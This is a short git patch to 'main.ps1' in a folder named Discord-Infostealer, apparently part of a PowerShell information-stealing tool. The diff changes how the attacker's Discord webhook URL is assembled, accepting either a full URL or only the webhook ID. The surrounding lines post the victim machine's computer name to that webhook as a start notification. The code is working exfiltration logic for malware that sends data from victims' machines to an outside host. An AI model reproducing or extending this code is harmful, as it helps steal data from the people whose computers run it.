From b0550a246ffbe0cb81d1d55b5c94d09fddbc572e Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Thu, 19 Jun 2025 16:43:15 +0000 Subject: [PATCH] Update main.ps1 --- Discord-Infostealer/main.ps1 | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/Discord-Infostealer/main.ps1 b/Discord-Infostealer/main.ps1 index 656e743..119b935 100644 --- a/Discord-Infostealer/main.ps1 +++ b/Discord-Infostealer/main.ps1 @@ -26,7 +26,10 @@ else{ sleep 1 Add-Type -AssemblyName System.Windows.Forms -$hookurl = ("https://discord.com/api/webhooks/" + "$dc") +$hookurl = "$dc" +if ($hookurl.Length -lt 120){ + $hookurl = ("https://discord.com/api/webhooks/" + "$dc") +} # Send a notification to discord on start $jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = ":computer: ``Gathering System Information for $env:COMPUTERNAME`` :computer:"} | ConvertTo-Json